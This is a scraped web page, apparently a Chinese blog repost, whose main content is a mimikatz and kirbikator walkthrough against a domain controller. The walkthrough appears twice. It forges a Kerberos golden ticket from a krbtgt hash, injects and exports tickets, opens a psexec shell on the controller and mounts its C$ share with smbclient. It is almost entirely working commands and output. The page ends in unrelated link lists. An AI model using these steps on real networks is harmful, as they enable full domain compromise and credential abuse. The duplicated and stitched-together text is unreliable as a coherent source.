Kerberos Modules

1.   .#####.   mimikatz 2.0 alpha (x64) release "Kiwi en C" (Oct  9201500:33:13)

2.   .## ^ ##.

3.   ## / \ ##  /* * *

4.   ## \ / ##   Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )

5.   '## v ##'   http://blog.gentilkiwi.com/mimikatz             (oe.eo)

6.    '#####'                                     with16 modules * * */

7. 

8. 

9.  mimikatz # kerberos::

10.ERROR mimikatz_doLocal ; "(null)" command of "kerberos"modulenot found !

11.

12.Module :        kerberos

13.Full name :     Kerberospackagemodule

14.Description :

15.

16.             ptt  -  Pass-the-ticket [NT 6]

17.            list  -  List ticket(s)

18.             tgt  -  Retrieve current TGT

19.           purge  -  Purge ticket(s)

20.          golden  -  WillyWonka factory

21.            hash  -  Hash password to keys

22.             ptc  -  Pass-the-ccache [NT6]

23.           clist  -  List tickets in MIT/Heimdall ccache

24.

25.mimikatz #

Golden Ticket

1.  mimikatz # kerberos::golden /user:Administrator /domain:sittingduck.info /sid:S-

2.  1-5-21-2792304509-1851296738-3446580569 /krbtgt:994ceb7e251e5afc550eef79d8172d64

3.   /ticket:gold.kirbi

4.  User      : Administrator

5.  Domain    : sittingduck.info

6.  SID       : S-1-5-21-2792304509-1851296738-3446580569

7.  UserId   : 500

8.  GroupsId : *513512520518519

9.  ServiceKey: 994ceb7e251e5afc550eef79d8172d64 - rc4_hmac_nt

10.Lifetime  : 10/26/201511:28:54 PM ; 10/23/202511:28:54 PM ; 10/23/202511:28:5

11.4 PM

12.-> Ticket : gold.kirbi

13.

14. * PAC generated

15. * PAC signed

16. * EncTicketPart generated

17. * EncTicketPart encrypted

18. * KrbCred generated

19.

20.FinalTicketSaved to file !

Pass the Ticket

1.  mimikatz # kerberos::ptt gold.kirbi

2.    0 - File'gold.kirbi' : OK

3. 

4.  mimikatz # kerberos::list

5. 

6.  [00000000] - 0x00000017 - rc4_hmac_nt

7.     Start/End/MaxRenew: 10/26/201511:28:54 PM ; 10/23/202511:28:54 PM ; 10/23/2

8.  02511:28:54 PM

9.     ServerName       : krbtgt/sittingduck.info @ sittingduck.info

10.   ClientName       : Administrator @ sittingduck.info

11.   Flags40e00000    : pre_authent ; initial ; renewable ; forwardable ;

12.

13.mimikatz #

Injecting tickets with Kirbikator

1.  C:\Users\notanadmin\Desktop>kirbikator.exe lsa gold.kirbi

2. 

3.    .#####.   KiRBikator1.0 (x86) release "Kiwi en C" (Feb  1201503:37:29)

4.   .## ^ ##.

5.   ## / \ ##  /* * *

6.   ## \ / ##   Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )

7.   '## v ##'   http://blog.gentilkiwi.com                      (oe.eo)

8.    '#####'                                                     * * */

9. 

10.Destination : Microsoft LSA API (multiple)

11. < gold.kirbi (RFC KRB-CRED (#22))

12. > TicketAdministrator@sittingduck.info-krbtgt~sittingduck.info@sittingduck.inf

13.o : injected

Exporting active tickets

1.  mimikatz # kerberos::list /export

2. 

3.  [00000000] - 0x00000012 - aes256_hmac

4.     Start/End/MaxRenew: 10/26/201511:39:32 PM ; 10/27/20159:39:31 AM ; 11/2/201

5.  511:39:31 PM

6.     ServerName       : krbtgt/SITTINGDUCK.INFO @ SITTINGDUCK.INFO

7.     ClientName       : uberuser @ SITTINGDUCK.INFO

8.     Flags60a10000    : name_canonicalize ; pre_authent ; renewable ; forwarded ;

9.   forwardable ;

10.   * Saved to file     : 0-60a10000-uberuser@krbtgt~SITTINGDUCK.INFO-SITTINGDUCK

11..INFO.kirbi

12.

13.[00000001] - 0x00000012 - aes256_hmac

14.   Start/End/MaxRenew: 10/26/201511:39:31 PM ; 10/27/20159:39:31 AM ; 11/2/201

15.511:39:31 PM

16.   ServerName       : krbtgt/SITTINGDUCK.INFO @ SITTINGDUCK.INFO

17.   ClientName       : uberuser @ SITTINGDUCK.INFO

18.   Flags40e10000    : name_canonicalize ; pre_authent ; initial ; renewable ; f

19.orwardable ;

20.   * Saved to file     : 1-40e10000-uberuser@krbtgt~SITTINGDUCK.INFO-SITTINGDUCK

21..INFO.kirbi

22.

23.[00000002] - 0x00000012 - aes256_hmac

24.   Start/End/MaxRenew: 10/26/201511:39:32 PM ; 10/27/20159:39:31 AM ; 11/2/201

25.511:39:31 PM

26.   ServerName       : cifs/dc1.sittingduck.info @ SITTINGDUCK.INFO

27.   ClientName       : uberuser @ SITTINGDUCK.INFO

28.   Flags40a50000    : name_canonicalize ; ok_as_delegate ; pre_authent ; renewa

29.ble ; forwardable ;

30.   * Saved to file     : 2-40a50000-uberuser@cifs~dc1.sittingduck.info-SITTINGDU

31.CK.INFO.kirbi

32.

33.[00000003] - 0x00000012 - aes256_hmac

34.   Start/End/MaxRenew: 10/26/201511:39:32 PM ; 10/27/20159:39:31 AM ; 11/2/201

35.511:39:31 PM

36.   ServerName       : ldap/dc1.sittingduck.info @ SITTINGDUCK.INFO

37.   ClientName       : uberuser @ SITTINGDUCK.INFO

38.   Flags40a50000    : name_canonicalize ; ok_as_delegate ; pre_authent ; renewa

39.ble ; forwardable ;

40.   * Saved to file     : 3-40a50000-uberuser@ldap~dc1.sittingduck.info-SITTINGDU

41.CK.INFO.kirbi

42.

43.[00000004] - 0x00000012 - aes256_hmac

44.   Start/End/MaxRenew: 10/26/201511:39:31 PM ; 10/27/20159:39:31 AM ; 11/2/201

45.511:39:31 PM

46.   ServerName       : LDAP/dc1.sittingduck.info/sittingduck.info @ SITTINGDUCK.

47.INFO

48.   ClientName       : uberuser @ SITTINGDUCK.INFO

49.   Flags40a50000    : name_canonicalize ; ok_as_delegate ; pre_authent ; renewa

50.ble ; forwardable ;

51.   * Saved to file     : 4-40a50000-uberuser@LDAP~dc1.sittingduck.info~sittingdu

52.ck.info-SITTINGDUCK.INFO.kirbi

PSEXEC with standard Kerberos tickets

1.  mimikatz # kerberos::list

2. 

3.  mimikatz # (EMPTY LIST)

4. 

5.  mimikatz # kerberos::ptt 1-40e10000-uberuser@krbtgt~SITTINGDUCK.INFO-SITTINGDUCK

6.  .INFO.kirbi

7.    0 - File'1-40e10000-uberuser@krbtgt~SITTINGDUCK.INFO-SITTINGDUCK.INFO.kirbi'

8.  : OK

9. 

10.mimikatz # kerberos::ptt 2-40a50000-uberuser@cifs~dc1.sittingduck.info-SITTINGDU

11.CK.INFO.kirbi

12.  0 - File'2-40a50000-uberuser@cifs~dc1.sittingduck.info-SITTINGDUCK.INFO.kirbi

13.' : OK

14.

15.mimikatz # kerberos::list

16.

17.[00000000] - 0x00000012 - aes256_hmac

18.   Start/End/MaxRenew: 10/26/201511:39:31 PM ; 10/27/20159:39:31 AM ; 11/2/201

19.511:39:31 PM

20.   ServerName       : krbtgt/SITTINGDUCK.INFO @ SITTINGDUCK.INFO

21.   ClientName       : uberuser @ SITTINGDUCK.INFO

22.   Flags40e10000    : name_canonicalize ; pre_authent ; initial ; renewable ; f

23.orwardable ;

24.

25.[00000001] - 0x00000012 - aes256_hmac

26.   Start/End/MaxRenew: 10/26/201511:39:32 PM ; 10/27/20159:39:31 AM ; 11/2/201

27.511:39:31 PM

28.   ServerName       : cifs/dc1.sittingduck.info @ SITTINGDUCK.INFO

29.   ClientName       : uberuser @ SITTINGDUCK.INFO

30.   Flags40a50000    : name_canonicalize ; ok_as_delegate ; pre_authent ; renewa

31.ble ; forwardable ;

32.

33.mimikatz #

34.

35.

36.

37.C:\Users\notanadmin\Desktop>psexec \\dc1 cmd.exe

38.

39.PsExec v1.97 - Execute processes remotely

40.Copyright (C) 2001-2009MarkRussinovich

41.Sysinternals - www.sysinternals.com

42.

43.

44.MicrosoftWindows [Version6.3.9600]

45.(c) 2013MicrosoftCorporation. All rights reserved.

46.

47.C:\Windows\system32>whoami

48.sittingduck\uberuser

49.

50.C:\Windows\system32>echo %COMPUTERNAME%

51.DC1

52.

53.C:\Windows\system32>

Convert Mimikatz Kerberos ticket to CCache and use

1.  C:\Users\notanadmin\Desktop>kirbikator.exe ccache "2-40a50000-uberuser@cifs~dc1.

2.  sittingduck.info-SITTINGDUCK.INFO.kirbi"

3. 

4.    .#####.   KiRBikator1.0 (x86) release "Kiwi en C" (Feb  1201503:37:29)

5.   .## ^ ##.

6.   ## / \ ##  /* * *

7.   ## \ / ##   Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )

8.   '## v ##'   http://blog.gentilkiwi.com                      (oe.eo)

9.    '#####'                                                     * * */

10.

11.Destination : MIT CredentialCache (simple)

12. < 2-40a50000-uberuser@cifs~dc1.sittingduck.info-SITTINGDUCK.INFO.kirbi (RFC KRB

13.-CRED (#22))

14. > Single file : uberuser@SITTINGDUCK.INFO.ccache

15.

16.C:\Users\notanadmin\Desktop>

Method 1

1.  KRB5CCNAME=uberuser@SITTINGDUCK.INFO.ccache smbclient -k //dc1.sittingduck.info/c$

2.  OS=[WindowsServer2012 R2 Standard9600] Server=[WindowsServer2012 R2 Standard6.3]

3.  smb: \>

Method 2

1.  root@kali:~# apt-get install krb5-user

2.  Readingpackage lists... Done

3.  Building dependency tree

4.  Reading state information... Done

5.  The following extra packages will be installed:

6.    krb5-config libgssrpc4 libkadm5clnt-mit9 libkadm5srv-mit9 libkdb5-7

7.  Suggested packages:

8.    krb5-doc

9.  The following NEW packages will be installed:

10.  krb5-config krb5-user libgssrpc4 libkadm5clnt-mit9 libkadm5srv-mit9 libkdb5-7

11.0 upgraded, 6 newly installed, 0 to remove and0not upgraded.

12.Need to get466 kB of archives.

13.Afterthis operation, 1,199 kB of additional disk space will be used.

14.Do you want to continue? [Y/n] y

15.0% [Connecting to http.kali.org]

16.<SNIP>

17.<SNIP>

18.<SNIP>

19.

20.root@kali:~/Desktop# klist

21.klist: Credentials cache file '/tmp/krb5cc_0'not found

22.root@kali:~/Desktop# cp uberuser@SITTINGDUCK.INFO.ccache /tmp/krb5cc_0

23.root@kali:~/Desktop# smbclient -k //dc1.sittingduck.info/c$

24.OS=[WindowsServer2012 R2 Standard9600] Server=[WindowsServer2012 R2 Standard6.3]

25.smb: \>

Kerberos Modules

1.   .#####.  
mimikatz 2.0 alpha (x64) release "Kiwi en
C" (Oct  9201500:33:13)

2.   .## ^ ##.

3.   ## / \ ## 
/* * *

4.   ## \ / ##  
Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )

5.   '## v ##'   http://blog.gentilkiwi.com/mimikatz             (oe.eo)

6.    '#####'                                     with16 modules * * */

7. 

8. 

9.  mimikatz # kerberos::

10.ERROR
mimikatz_doLocal ; "(null)" command of "kerberos"modulenot found !

11.

12.Module :        kerberos

13.Full name :     Kerberospackagemodule

14.Description :

15.

16.             ptt  -  Pass-the-ticket [NT 6]

17.            list  -  List ticket(s)

18.             tgt  -  Retrieve current TGT

19.           purge  -  Purge ticket(s)

20.          golden  -  WillyWonka factory

21.            hash  -  Hash password to
keys

22.             ptc  -  Pass-the-ccache
[NT6]

23.           clist  -  List tickets in MIT/Heimdall ccache

24.

25.mimikatz #

Golden Ticket

1.  mimikatz #
kerberos::golden /user:Administrator /domain:sittingduck.info /sid:S-

2.  1-5-21-2792304509-1851296738-3446580569 /krbtgt:994ceb7e251e5afc550eef79d8172d64

3.   /ticket:gold.kirbi

4.  User      : Administrator

5.  Domain    : sittingduck.info

6.  SID       : S-1-5-21-2792304509-1851296738-3446580569

7.  UserId   : 500

8.  GroupsId : *513512520518519

9.  ServiceKey: 994ceb7e251e5afc550eef79d8172d64 - rc4_hmac_nt

10.Lifetime  : 10/26/201511:28:54 PM ; 10/23/202511:28:54 PM ; 10/23/202511:28:5

11.4 PM

12.-> Ticket : gold.kirbi

13.

14. * PAC generated

15. * PAC signed

16. * EncTicketPart generated

17. * EncTicketPart encrypted

18. * KrbCred generated

19.

20.FinalTicketSaved to file !

Pass the Ticket

1.  mimikatz # kerberos::ptt
gold.kirbi

2.    0 - File'gold.kirbi' : OK

3. 

4.  mimikatz # kerberos::list

5. 

6.  [00000000] - 0x00000017 - rc4_hmac_nt

7.     Start/End/MaxRenew: 10/26/201511:28:54 PM ; 10/23/202511:28:54 PM ; 10/23/2

8.  02511:28:54 PM

9.     ServerName       : krbtgt/sittingduck.info @
sittingduck.info

10.   ClientName       : Administrator @
sittingduck.info

11.   Flags40e00000    : pre_authent ; initial ; renewable ;
forwardable ;

12.

13.mimikatz #

Injecting
tickets with Kirbikator

1.  C:\Users\notanadmin\Desktop>kirbikator.exe
lsa gold.kirbi

2. 

3.    .#####.  
KiRBikator1.0 (x86) release "Kiwi en
C" (Feb  1201503:37:29)

4.   .## ^ ##.

5.   ## / \ ## 
/* * *

6.   ## \ / ##  
Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )

7.   '## v ##'   http://blog.gentilkiwi.com                      (oe.eo)

8.    '#####'                                                    
* * */

9. 

10.Destination : Microsoft LSA API
(multiple)

11. < gold.kirbi (RFC KRB-CRED (#22))

12. > TicketAdministrator@sittingduck.info-krbtgt~sittingduck.info@sittingduck.inf

13.o : injected

Exporting active
tickets

1.  mimikatz # kerberos::list
/export

2. 

3.  [00000000] - 0x00000012 - aes256_hmac

4.     Start/End/MaxRenew: 10/26/201511:39:32 PM ; 10/27/20159:39:31 AM ; 11/2/201

5.  511:39:31 PM

6.     ServerName       : krbtgt/SITTINGDUCK.INFO @
SITTINGDUCK.INFO

7.     ClientName       : uberuser @ SITTINGDUCK.INFO

8.     Flags60a10000    : name_canonicalize ; pre_authent ;
renewable ; forwarded ;

9.   forwardable ;

10.   * Saved to file     : 0-60a10000-uberuser@krbtgt~SITTINGDUCK.INFO-SITTINGDUCK

11..INFO.kirbi

12.

13.[00000001] - 0x00000012 - aes256_hmac

14.   Start/End/MaxRenew: 10/26/201511:39:31 PM ; 10/27/20159:39:31 AM ; 11/2/201

15.511:39:31 PM

16.   ServerName       : krbtgt/SITTINGDUCK.INFO @
SITTINGDUCK.INFO

17.   ClientName       : uberuser @ SITTINGDUCK.INFO

18.   Flags40e10000    : name_canonicalize ; pre_authent ; initial
; renewable ; f

19.orwardable ;

20.   * Saved to file     : 1-40e10000-uberuser@krbtgt~SITTINGDUCK.INFO-SITTINGDUCK

21..INFO.kirbi

22.

23.[00000002] - 0x00000012 - aes256_hmac

24.   Start/End/MaxRenew: 10/26/201511:39:32 PM ; 10/27/20159:39:31 AM ; 11/2/201

25.511:39:31 PM

26.   ServerName       : cifs/dc1.sittingduck.info @
SITTINGDUCK.INFO

27.   ClientName       : uberuser @ SITTINGDUCK.INFO

28.   Flags40a50000    : name_canonicalize ; ok_as_delegate ;
pre_authent ; renewa

29.ble ;
forwardable ;

30.   * Saved to file     : 2-40a50000-uberuser@cifs~dc1.sittingduck.info-SITTINGDU

31.CK.INFO.kirbi

32.

33.[00000003] - 0x00000012 - aes256_hmac

34.   Start/End/MaxRenew: 10/26/201511:39:32 PM ; 10/27/20159:39:31 AM ; 11/2/201

35.511:39:31 PM

36.   ServerName       : ldap/dc1.sittingduck.info @
SITTINGDUCK.INFO

37.   ClientName       : uberuser @ SITTINGDUCK.INFO

38.   Flags40a50000    : name_canonicalize ; ok_as_delegate ;
pre_authent ; renewa

39.ble ;
forwardable ;

40.   * Saved to file     : 3-40a50000-uberuser@ldap~dc1.sittingduck.info-SITTINGDU

41.CK.INFO.kirbi

42.

43.[00000004] - 0x00000012 - aes256_hmac

44.   Start/End/MaxRenew: 10/26/201511:39:31 PM ; 10/27/20159:39:31 AM ; 11/2/201

45.511:39:31 PM

46.   ServerName       :
LDAP/dc1.sittingduck.info/sittingduck.info @ SITTINGDUCK.

47.INFO

48.   ClientName       : uberuser @ SITTINGDUCK.INFO

49.   Flags40a50000    : name_canonicalize ; ok_as_delegate ;
pre_authent ; renewa

50.ble ;
forwardable ;

51.   * Saved to file     : 4-40a50000-uberuser@LDAP~dc1.sittingduck.info~sittingdu

52.ck.info-SITTINGDUCK.INFO.kirbi

PSEXEC with
standard Kerberos tickets

1.  mimikatz # kerberos::list

2. 

3.  mimikatz # (EMPTY LIST)

4. 

5.  mimikatz # kerberos::ptt
1-40e10000-uberuser@krbtgt~SITTINGDUCK.INFO-SITTINGDUCK

6.  .INFO.kirbi

7.    0 - File'1-40e10000-uberuser@krbtgt~SITTINGDUCK.INFO-SITTINGDUCK.INFO.kirbi'

8.  : OK

9. 

10.mimikatz # kerberos::ptt 2-40a50000-uberuser@cifs~dc1.sittingduck.info-SITTINGDU

11.CK.INFO.kirbi

12.  0 - File'2-40a50000-uberuser@cifs~dc1.sittingduck.info-SITTINGDUCK.INFO.kirbi

13.' : OK

14.

15.mimikatz # kerberos::list

16.

17.[00000000] - 0x00000012 - aes256_hmac

18.   Start/End/MaxRenew: 10/26/201511:39:31 PM ; 10/27/20159:39:31 AM ; 11/2/201

19.511:39:31 PM

20.   ServerName       : krbtgt/SITTINGDUCK.INFO @
SITTINGDUCK.INFO

21.   ClientName       : uberuser @ SITTINGDUCK.INFO

22.   Flags40e10000    : name_canonicalize ; pre_authent ; initial
; renewable ; f

23.orwardable ;

24.

25.[00000001] - 0x00000012 - aes256_hmac

26.   Start/End/MaxRenew: 10/26/201511:39:32 PM ; 10/27/20159:39:31 AM ; 11/2/201

27.511:39:31 PM

28.   ServerName       : cifs/dc1.sittingduck.info @
SITTINGDUCK.INFO

29.   ClientName       : uberuser @ SITTINGDUCK.INFO

30.   Flags40a50000    : name_canonicalize ; ok_as_delegate ;
pre_authent ; renewa

31.ble ;
forwardable ;

32.

33.mimikatz #

34.

35.

36.

37.C:\Users\notanadmin\Desktop>psexec
\\dc1 cmd.exe

38.

39.PsExec v1.97 - Execute processes
remotely

40.Copyright (C) 2001-2009MarkRussinovich

41.Sysinternals -
www.sysinternals.com

42.

43.

44.MicrosoftWindows [Version6.3.9600]

45.(c) 2013MicrosoftCorporation. All rights
reserved.

46.

47.C:\Windows\system32>whoami

48.sittingduck\uberuser

49.

50.C:\Windows\system32>echo
%COMPUTERNAME%

51.DC1

52.

53.C:\Windows\system32>

Convert Mimikatz
Kerberos ticket to CCache and use

1.  C:\Users\notanadmin\Desktop>kirbikator.exe
ccache "2-40a50000-uberuser@cifs~dc1.

2.  sittingduck.info-SITTINGDUCK.INFO.kirbi"

3. 

4.    .#####.  
KiRBikator1.0 (x86) release "Kiwi en
C" (Feb  1201503:37:29)

5.   .## ^ ##.

6.   ## / \ ## 
/* * *

7.   ## \ / ##  
Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )

8.   '## v ##'   http://blog.gentilkiwi.com                      (oe.eo)

9.    '#####'                                                    
* * */

10.

11.Destination : MIT CredentialCache (simple)

12. < 2-40a50000-uberuser@cifs~dc1.sittingduck.info-SITTINGDUCK.INFO.kirbi
(RFC KRB

13.-CRED (#22))

14. > Single file :
uberuser@SITTINGDUCK.INFO.ccache

15.

16.C:\Users\notanadmin\Desktop>

Method 1

1.  KRB5CCNAME=uberuser@SITTINGDUCK.INFO.ccache
smbclient -k //dc1.sittingduck.info/c$

2.  OS=[WindowsServer2012 R2 Standard9600] Server=[WindowsServer2012 R2 Standard6.3]

3.  smb: \>

Method 2

1.  root@kali:~#
apt-get install krb5-user

2.  Readingpackage lists... Done

3.  Building dependency
tree

4.  Reading state
information... Done

5.  The following extra
packages will be installed:

6.    krb5-config libgssrpc4 libkadm5clnt-mit9
libkadm5srv-mit9 libkdb5-7

7.  Suggested packages:

8.    krb5-doc

9.  The following NEW
packages will be installed:

10.  krb5-config krb5-user libgssrpc4
libkadm5clnt-mit9 libkadm5srv-mit9 libkdb5-7

11.0 upgraded, 6 newly
installed, 0 to remove and0not upgraded.

12.Need to get466 kB of archives.

13.Afterthis operation, 1,199 kB of
additional disk space will be used.

14.Do you want to continue? [Y/n] y

15.0% [Connecting to
http.kali.org]

16.<SNIP>

17.<SNIP>

18.<SNIP>

19.

20.root@kali:~/Desktop# klist

21.klist: Credentials cache file '/tmp/krb5cc_0'not found

22.root@kali:~/Desktop# cp
uberuser@SITTINGDUCK.INFO.ccache /tmp/krb5cc_0

23.root@kali:~/Desktop#
smbclient -k //dc1.sittingduck.info/c$

24.OS=[WindowsServer2012 R2 Standard9600] Server=[WindowsServer2012 R2 Standard6.3]

25.smb: \>

标签: mimikatzkerberos

mimikazhi Kerberos Modules的更多相关文章

  1. Kerberos是怎么工作的?

    Kerberos是一种计算机网络授权协议,用来在非安全网络中,对个人通信以安全的手段进行身份认证. 采用客户端/服务器结构,并且能够进行相互认证,即客户端和服务器端均可对对方进行身份认证. 关键要素 ...

  2. Centos 7 集成安装Apache+PHP+Kerberos+LDAP+phpLDAPadmin

    一.安装Apache 1.1.安装Apache Apache程序是目前拥有很高市场占有率的Web服务程序之一,其跨平台和安全性广泛被认可且拥有快速.可靠.简单的API扩展. 它的名字取自美国印第安人土 ...

  3. Kerberos简介

    Kerberos协议: Kerberos协议主要用于计算机网络的身份鉴别(Authentication), 其特点是用户只需输入一次身份验证信息就可以凭借此验证获得的票据(ticket-grantin ...

  4. Play modules

    A Play application can be assembled from several application modules. This allows you to reuse appli ...

  5. [Kerberos] Java client访问kerberos-secured cluster

    使用java client访问kerberos-secured cluster,最重要的是先从admin那里拿到可用的keytab文件,用来作认证.接下来就是调整连接的配置.以下先用连接hdfs为例进 ...

  6. [Kerberos] Kerberos 认证过程整理

    Kerberos是一种安全认证协议,意在提供 more secure authentication simplified management of password convenience of s ...

  7. [Kerberos] User Ticket Management

    Kerberos客户端常用命令包括 kinit, klist, kdestroy, and kpasswd,用户使用这些命令管理自己的 ticket. 此外,每台运行Kerberos的机器应该都配置/ ...

  8. YII的Modules模块化

    转载来源: http://blog.csdn.net/mengxiangbaidu/article/details/7041296 http://blog.csdn.net/colzer/articl ...

  9. Kerberos

    一.Kerberos Concept Kerberos是一种网络认证协议,其设计目标是通过密钥系统为客户机/服务器应用程序提供强大的认证服务,为通信双方提供双向身份认证. Kerberos关键术语: ...

随机推荐

  1. gitlab+jenkins持续集成--http方式连接gitlab

    http://v.youku.com/v_show/id_XMjk3NTYyMDUxMg==.html?spm=a2h3j.8428770.3416059.1

  2. 【Kubernetes】基于角色的权限控制:RBAC

    Kubernetes中所有的API对象,都保存在Etcd里,对这些API对象的操作,一定都是通过访问kube-apiserver实现的,原因是需要APIServer来做授权工作. 在Kubernete ...

  3. js多条件if语句简写发生Uncaught SyntaxError: Unexpected token }

    改写原生js 多条件if判断语句时,采用三元方法,发生Uncaught SyntaxError: Unexpected token } function compareImgSize() { var ...

  4. [机器学习]-K近邻-最简单的入门实战例子

    本篇文章分为两个部分,前一部分主要简单介绍K近邻,后一部分是一个例子 第一部分--K近邻简介 从字面意思就可以容易看出,所谓的K近邻,就是找到某个样本距离(这里的距离可以是欧式距离,曼哈顿距离,切比雪 ...

  5. Algorithm - 贪心算法使用场景 ( LEETCODE —— Best Time to Buy and Sell Stock II)

    先看一道leetcode题: Best Time to Buy and Sell Stock II Say you have an array for which the ith element is ...

  6. Head First Java & 异常

     

  7. angularJS1笔记-(5)-过滤器练习

    html: <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF ...

  8. 安装centos6及安装redhat6后的配置

    一.安装centos6 在引导到镜像后,选择: 我选择第二个,使用基本的显卡驱动安装系统 #第一个也是可以选的(安装或升级现有的系统) 之后,与 RHEL5 同样,使用光盘引导安装,系统会提示我们是否 ...

  9. Delphi函数的out、var等关键字的作用,和使用场景

    问题描述 Delphi函数的out.var等关键字的作用,和使用场景 Delphi函数的out.var等关键字的作用,和使用场景,我知道var是作为传值调用,但是像out这个关键字又是什么作用呢? 解 ...

  10. 安恒杯2月月赛-应该不是xss

    1. 打开题目一看,是个留言板 2. 查看源码发现有几个js文件 依次打开发现在main.js里存在这样一段代码 3. 访问 /#login是登录的界面,/#chgpass是修改密码的界面,其中修改密 ...